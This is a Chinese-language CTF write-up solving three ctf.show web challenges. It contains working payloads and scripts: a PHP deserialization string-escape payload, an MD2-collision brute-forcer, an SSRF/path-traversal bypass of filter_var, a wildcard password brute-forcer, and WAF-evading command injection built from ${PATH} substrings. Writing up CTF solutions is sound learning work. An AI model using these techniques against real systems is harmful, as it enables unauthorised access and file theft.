应该算是show平台自己办的比赛,也玩过36D杯,感觉他们办的比赛还是蛮有意思的,这次题目名也挺好玩的,感觉蛮用心的。
web1_此夜圆
给了源码:
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
很明显的反序列化题,题目需要密码为’yu22x’,就意味着设置的 $uname 要造成溢出的效果,使得密码被需要的字符串替换。
结合 filter()
函数:
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
其实就是字符串溢出,参考文章:详解PHP反序列化中的字符逃逸 ,里面写的蛮清楚了。
最后payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
大概比赛开始20分钟就解出来了,但是平台后面实际上是没有这个flag文件,解出来也读不到,就很蛋疼,后来题目修好了,也没有抢到血。
web2_故人心
题目后面放了hint,没放hint的时候一个师兄爆了很久爆到睡觉,听说放了hint又起床远控电脑接着爆,这就是CTFer吗
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一层过滤,利用PHP精度,当一个极小数平方超过PHP浮点数最大表示小数点位数时,PHP判定为0:
$a = e-200
第二层就要爆很久,用的是md2碰撞,后来题目放了hint,得知已知位数后,很快就爆出来了。师兄脚本:
from Crypto.Hash import MD2
# payload = "QWERTYUIOPASDFGHJKLZXCVBNM"
# payload = "qwertyuiopasdfghjklzxcvbnm"
payload = "0123456789"
# payload = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789"
def calc_hash(s):
hash_value = MD2.new('0e' + s + '024452').hexdigest()
# hash_value = MD2.new(MD2.new('0e' + s + '48399').hexdigest()).hexdigest()
if hash_value[0:2] == '0e' and hash_value[2:32].isdigit():
print(s, hash_value)
def getStr(payload, s, slen):
if len(s) == slen:
# Custom string
calc_hash(s)
return s
for j in range(len(payload)):
sl = s + payload[j]
getStr(payload, sl, slen)
if __name__ == '__main__':
getStr(payload, '', 3) # b
# getStr(payload, '', 4) # c
接下来需要SSRF的操作,我刚开始想的是双@@绕过,试了很久没有过。后面师兄发了一个参考链接:ssrf绕过filter_var函数使用file_get_contents读取任意文件。发现是原题,果然是我太菜了。
url=0://ctfshow.com/../../../../../../fl0g.txt
提交以后,会先识别ctfshow.com为有意义的网址,绕过第一层,接着符合正则匹配。在PHP中,向目标请求时会先判断使用的协议,如果协议无法识别,就默认为是个目录,这样就可以通过目录穿越读到f10g.txt文件。
web3_莫负婵娟
这题我没有做出来,原因是题目中使用了binary(),当时以为是传入的东西都会被转化为二进制,所以主要考虑的方向是括号闭合。后来发现没有发生类型转化,影响的只是数据的存储而已,做还是可以做的。
然后接下来要做的就是利用通配符模糊测试密码长度。经测试发现 %
被WAF,但是 _
还可以使用,利用 _
爆破密码长度(_
匹配单个字符)。
import requests
url = "http://6af3f7f0-3a74-41bf-8777-a5efd7344510.chall.ctf.show/login.php"
for i in range(50):
exp = '_' * i
payload = {'username': 'yu22x',
'password': exp}
headers = {
'Cookie': 'PHPSESSID=rhnepd32ekcb0r6amr89hhppmk'
}
response = requests.request("POST", url, headers=headers, data=payload, files=[])
if response.text.find('wrong username or password') == -1:
print(i)
print(response.text.encode('utf-8'))
返回结果:
32
b'<div align="center">I have filtered all the characters. Why can you come in? get out!</div>'
说明密码长度有32位长。写个脚本爆破密码:
import requests
import string
url = "http://6af3f7f0-3a74-41bf-8777-a5efd7344510.chall.ctf.show/login.php"
password = ''
headers = {
'Cookie': 'PHPSESSID=rhnepd32ekcb0r6amr89hhppmk'
}
files = []
for i in range(32):
for j in string.digits + string.ascii_letters:
exp = '_' * (32 - i - 1)
payload = {'username': 'yu22x',
'password': password + j + exp
}
response = requests.request("POST", url=url, headers=headers, data=payload, files=[])
if response.text.find('wrong username or password') == -1:
password += j
break
print(password)
爆出来的密码:
67815b0c009ee970fe4014abaa3Fa6A0
登录之后是一个内部网测试平台
初步推测是SSRF漏洞。
尝试穿越目录,发现被waf了。
写个脚本,fuzz所有可见字符(注意修改Cookies):
import string
import requests
url = "http://a9359d73-7931-4f4f-b3f6-1eb0ffa37f5d.chall.ctf.show/P1099.php"
file = open('fuzz.txt', 'w')
for i in string.printable:
payload = {'ip': i}
files = [
]
headers = {
'Cookie': 'UM_distinctid=174a4cad32570e-00904607c43d2f-333769-240000-174a4cad326103d; PHPSESSID=q8f5oki8d5qi9lfvm3l6jmaiq2'
}
response = requests.request("POST", url, headers=headers, data=payload, files=files)
if response.text.find('evil') == -1:
file.write(i)
这个是fuzz.txt文件目录下的字符:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#$.:;?@_{}~
由于Linux系统下的大小写敏感,直接使用ls不可以,尝试利用Linux系统下$PATH变量:
截取字符串:
遍历:
127.0.0.1;${PATH:5:1}${PATH:2:1}
找到有flag文件:
读取文件,用 $cat flag.php
或者 $nl flag.txt
都可以
127.0.0.1;${PATH:7:1}${PATH:8:1}${PATH:92:1} ????.???
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
但是实际上测试只有 $nl
是可以的,$cat
不知道为什么不可以。本机测试是可以的。
发送后就可以拿到flag了。
写在最后的话
官方第一时间放了wp,所以我感觉应该是没多少人看这篇文章了,但还是祝愿看到文章的师傅中秋节快乐